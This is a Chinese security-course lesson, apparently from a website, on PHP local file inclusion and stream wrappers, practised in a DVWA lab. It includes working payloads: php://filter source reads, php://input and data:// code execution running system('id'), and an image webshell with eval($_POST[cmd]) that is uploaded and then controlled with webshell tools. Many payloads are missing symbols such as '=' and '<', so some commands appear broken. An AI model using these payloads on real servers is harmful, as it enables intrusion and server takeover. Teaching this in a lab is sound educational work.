ARTICLE DETAIL

资讯详情

深耕网站视觉设计与运营推广的一线实战洞察。

【八个月网安课程】第八周·周二:文件包含漏洞(本地包含 LFI)与 PHP 伪协议初识

【八个月网安课程】第八周·周二:文件包含漏洞(本地包含 LFI)与 PHP 伪协议初识 以下是第八周周二学习内容的详细展开。昨天你学会了利用../跳出目录读取任意文件但文件包含漏洞的真正威力在于执行代码。今天你将通过本地文件包含LFI配合 PHP 伪协议将“只能读”变成“能执行”并理解攻击者如何通过一张看似正常的图片来获取服务器控制权。第八周·周二文件包含漏洞本地包含 LFI与 PHP 伪协议初识 今日学习目标达成效果能准确描述本地文件包含LFI漏洞的成因应用使用include()等函数加载文件时路径参数可控且未作过滤导致攻击者可包含任意本地文件能区分文件读取目录遍历与文件包含的区别后者会执行被包含文件中的 PHP 代码危害性更大能独立利用PHP 伪协议php://filter读取服务器上 PHP 文件的源码绕过“不解析直接显示”的限制能利用php://input或data://伪协议通过 POST 请求注入 PHP 代码并让服务器执行实现命令执行能描述图片马Image Shell的构造思路将 PHP 代码嵌入图片的元数据区或尾部配合 LFI 实现代码执行能从安全角度总结防御 LFI 的关键措施限制包含路径、禁用不必要的伪协议、避免用户输入直接控制文件路径。 一、文件包含漏洞的本质从“读”到“执行”在 PHP 中include()、require()、include_once()、require_once()等函数用于加载并执行指定文件中的代码。如果被包含的文件路径由用户输入如?pagehome.php且程序未做充分过滤攻击者就可以让服务器去包含并执行任意本地文件。与目录遍历的区别目录遍历仅读取文件内容不解析 PHP 代码。文件包含若包含的文件为 PHP 脚本服务器会执行其中的 PHP 代码并将输出返回给用户。即使目标文件不是.php后缀只要内容中包含?php ... ?也能被解析执行。 二、本地文件包含LFI的常见利用路径读取敏感文件与目录遍历相同如/etc/passwd、日志文件等这些文件不含 PHP 代码原样输出。读取 PHP 源码如果直接包含.php文件它会被执行而非显示源码。为了绕过这一点需要使用php://filter伪协议对文件内容进行 Base64 编码后再包含从而获得可读的源码。执行任意代码通过包含攻击者可控内容的文件如 PHP 的临时上传文件、日志文件、session 文件或利用伪协议php://input、data://直接执行 PHP 代码实现 getshell。 三、PHP 伪协议——LFI 的放大器PHP 提供了一系列内置的封装协议允许对文件系统、输入输出等进行灵活操作。在 LFI 中最常用的有1.php://filter读取源码作用在文件读取时应用过滤器例如将文件内容转为 Base64 输出从而绕过执行并直接查看源码。用法php://filter/readconvert.base64-encode/resource目标文件示例假设存在 LFI 漏洞?pagefile1.php要查看config.php的源码?pagephp://filter/readconvert.base64-encode/resourceconfig.php页面会输出一段 Base64 字符串解码后即为config.php的完整源代码包括数据库密码等敏感信息。2.php://input执行 POST 数据中的代码作用读取 HTTP 请求体中的原始数据并将其作为 PHP 代码执行。需allow_url_includeOnPHP 5.2 已默认关闭但很多遗留环境开启。用法URL 参数中指定?pagephp://input然后在 POST 请求体中写入?php system(id); ?服务器将执行该代码并返回命令输出。3.data://执行 Base64 编码的代码作用将一段文本数据作为文件包含文本中可嵌入 PHP 代码。同样需要allow_url_includeOn。用法?pagedata://text/plain;base64,PD9waHAgc3lzdGVtKCJpZCIpOyA/Pg其中 Base64 解码后为?php system(id); ?。4.expect://直接执行系统命令极少见作用通过 expect 封装执行系统命令需要安装 expect 扩展并开启allow_url_include实际环境中极少仅作了解。注意php://input和data://能否成功取决于php.ini中的allow_url_include是否开启。在 DVWA 的 File Inclusion 关卡中Low 难度下通常已开启可直接使用。✍️ 四、动手实践在 DVWA File Inclusion 中利用 PHP 伪协议环境DVWA 安全等级设为Low进入File Inclusion页面。实践 1使用php://filter读取页面源码页面 URL 为http://靶机/vulnerabilities/fi/?pagefile1.php我们想查看file1.php本身的源码但直接包含会被执行。使用 filterhttp://靶机/vulnerabilities/fi/?pagephp://filter/readconvert.base64-encode/resourcefile1.php页面返回一串 Base64 编码复制后通过在线工具或命令行解码echoPD9waHAg...|base64-d你将看到file1.php的完整 PHP 代码。这证明我们可以读取任意 PHP 源码。实践 2使用php://input执行系统命令打开 BurpSuite 或浏览器开发者工具准备发送 POST 请求。构造请求URLhttp://靶机/vulnerabilities/fi/?pagephp://input方法POSTBody?php system(id); ?发送请求查看响应。如果服务器开启allow_url_include响应中会包含uidwww-data gidwww-data ...等系统信息证明代码执行成功。可进一步执行ls -la、whoami等命令探索服务器。实践 3可选使用data://伪协议如果php://input不成功可尝试 data URI?pagedata://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOyA/PgBase64 部分自行编码?php system(id); ?得到。✍️ 五、图片马思路文件上传 LFI 组合攻击今日测试题在很多情况下服务器不允许直接包含远程文件或伪协议但存在文件上传功能。攻击者可以制作一个图片马——将 PHP 代码隐藏在看似正常的图片中然后通过 LFI 包含该图片使 PHP 代码被执行。制作图片马的方法Linux 命令行示例# 1. 准备一张小图片 code.jpg# 2. 将一句话木马追加到图片末尾echo?php eval($_POST[cmd]); ?code.jpg# 或者使用工具将代码嵌入图片元数据该图片仍然能正常显示但文件末尾包含了 PHP 代码。如果上传后被重命名或仍保留.jpg后缀由于包含函数不会检查后缀只要文件内容包含 PHP 代码就会被解析执行。利用 LFI 包含上传的图片马假设图片上传后路径为uploads/code.jpg通过文件包含漏洞访问?pageuploads/code.jpg此时 PHP 会执行图片尾部的?php ... ?代码虽然浏览器显示可能会因图片头部乱码而异常但代码已经执行。攻击者可以通过 POST 向该 URL 发送cmdsystem(ls);等指令获得 shell。测试题回答要点参考答案首先制作一个图片马将?php eval($_POST[cmd]); ?追加到正常图片文件末尾。然后将该图片上传到服务器可通过正常功能或绕过上传限制。最后通过本地文件包含漏洞如?pageuploads/horse.jpg包含该图片由于 PHP 会执行文件中的 PHP 代码攻击者即可通过连接工具如蚁剑管理服务器。 六、课后测试题与解析测试题利用 LFI 包含一个可执行 PHP 代码的图片马思路描述步骤。参考答案制作图片马使用copy /b normal.jpg shell.php combined.jpgWindows或cat normal.jpg shell.php combined.jpgLinux将 PHP 一句话木马?php eval($_POST[pass]);?追加到图片文件末尾。上传图片马通过目标网站的正常文件上传功能如头像上传将combined.jpg作为图片上传。若网站有校验可尝试绕过如添加 GIF 文件头、修改 MIME 类型。触发 LFI 包含图片确定图片保存路径后通过文件包含漏洞访问该路径如?pageuploads/combined.jpg。服务器会从文件开头输出图片乱码但中间或末尾的 PHP 代码会被执行。连接 shell使用蚁剑、菜刀等工具密码为passURL 为包含图片马的页面地址即可获得服务器控制权。✅ 今日学习效果自检清单我能清楚说出文件包含漏洞与目录遍历的区别执行 vs 读取我成功使用php://filter读取了 PHP 文件的源码我利用php://input或data://伪协议在靶场执行了系统命令我理解了allow_url_include对伪协议利用的决定性作用我能独立描述图片马制作与利用的完整流程我知道防御 LFI 的关键措施设置白名单、禁用危险伪协议、路径硬编码、最小权限⚠️ 阶段避坑重点不要混淆allow_url_fopen与allow_url_include后者控制是否允许包含远程文件和伪协议是 LFI 利用的关键开关。php://input需要 POST 方法且Content-Type无关紧要但数据必须是原始的 PHP 代码。不要额外编码。图片马直接包含时页面可能显示乱码这是正常现象代码仍会执行。如果未执行检查是否被二次渲染压缩或图片格式被转换导致代码被破坏。不要在生产环境开启allow_url_include它极其危险。今天的实验仅在本地靶场进行。今天你已将文件包含漏洞的攻击力提升了一个台阶。明天我们将继续深入文件包含的进阶利用包括日志文件包含、session 文件包含以及如何配合文件上传实现更稳定的 getshell。请保留靶场和图片马文件明日继续使用。
返回列表